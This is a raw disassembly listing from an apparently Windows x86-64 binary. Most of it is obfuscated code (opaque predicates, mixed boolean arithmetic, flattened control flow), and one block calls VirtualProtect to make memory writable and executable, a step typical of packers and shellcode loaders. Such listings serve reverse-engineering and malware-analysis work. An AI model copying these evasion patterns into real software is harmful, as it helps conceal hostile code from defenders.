or edx, edi
mov ecx, edx
not ecx
and ecx, 0xce2709fe
and edx, 0x31d8f601
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x26e112ef
and edx, 0xd91eed10
or edx, ecx
mov ecx, edx
xor ecx, 0x1101e0ac
xor edx, 0xe8c61b11
mov ebx, edx
and ebx, 0xceb81d43
and ecx, 0x3147e2bc
or ecx, ebx
xor ecx, 0x3147e2bc
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
xor bl, dl
xor bl, 1
or bl, al
and dl, al
and r8b, cl
or r8b, dl
mov r11d, r8d
xor r11b, 1
mov ecx, ebx
mov edx, r11d
mov r9d, ebx
mov r10d, ebx
and r10b, r11b
xor r11b, bl
xor bl, 1
and cl, bl
and dl, r8b
xor r9b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r9b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
or r11b, r10b
mov eax, r11d
xor al, dl
test r11b, r11b
mov ecx, 0xdeb670dc
mov ebx, 0x5774d89e
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xdeb670dc
jmp 0x1401a26bd
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov ebx, ecx
not ebx
mov edx, ecx
or edx, 0x467b5dba
and ecx, 0x467b5dba
mov eax, ebx
and eax, 0xb984a244
or eax, ecx
and edx, 0x467b5dbb
xor edx, eax
not edx
mov eax, edx
and eax, ebx
xor edx, ebx
or edx, eax
mov eax, edx
not eax
and eax, 0x78401e27
and edx, 0x87bfe1d8
or edx, eax
xor edx, 0x87bfe1d8
sete bl
setne al
cmp dword [0x1402656c4], 0xa
setl cl
xor al, cl
xor al, 1
mov edx, ecx
or dl, bl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ebx
xor al, cl
and bl, al
and al, cl
xor bl, 1
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov r10d, eax
xor r10b, 1
mov ecx, edx
and cl, r8b
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov ebx, ecx
xor bl, 1
and bl, r10b
and cl, al
or cl, bl
xor r10b, dl
or al, r8b
xor al, 1
or al, r10b
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x4a68b85d
mov ebx, 0x93006b47
cmovne edx, ebx
test al, 1
mov eax, 0x4a68b85d
cmovne eax, edx
test cl, 1
cmove eax, edx
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x60]
mov dword [rax], 0
movsxd rdx, dword [rbp - 0x2c]
mov r9, qword [rbp - 0x60]
mov rcx, qword [rbp - 0x40]
sub rsp, 0x20
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
add rsp, 0x20
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0xf3d1f624
mov edx, edi
and edx, 0xc2e09da
or edx, ebx
mov ebx, edx
xor ebx, 0x95a
xor edx, 0xf3d1f625
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x7fbea4a0
and ebx, 0x80415b5e
or ebx, esi
or edx, eax
and eax, 0x7fbea4a0
and ecx, 0x80415b5f
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
and r9d, 0x5e95942c
and edi, 0xa16a6bd3
or edi, r9d
mov eax, edi
xor eax, 0x80226050
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x65591b87
and edx, 0x9aa6e478
or edx, ecx
xor edi, 0x44111004
and edi, 0x65591b87
and eax, 0x9aa6e478
or eax, edi
xor eax, edx
not eax
or eax, ebx
cmp eax, 0xffffffff
sete r9b
setne r10b
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, cl
and dl, r8b
mov eax, edx
not al
and al, dl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov ebx, r10d
xor bl, al
mov edx, ebx
and dl, r10b
and bl, al
mov eax, edx
and al, bl
xor bl, dl
or bl, al
xor r8b, r10b
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
mov eax, edx
xor dl, 1
and dl, bl
xor bl, 1
and al, bl
or dl, al
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x415a35cc
mov ebx, 0xbca09fbd
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
not al
test al, 1
mov eax, 0x415a35cc
jmp 0x14019f4d9
mov eax, 0x2b42a1e
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov esi, dword [rbp + 0xc]
mov rcx, qword [rbp + 0x10]
xor rcx, rbp
sub rsp, 0x20
call fcn.1401b9360
add rsp, 0x20
mov eax, esi
lea rsp, [rbp + 0x18]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret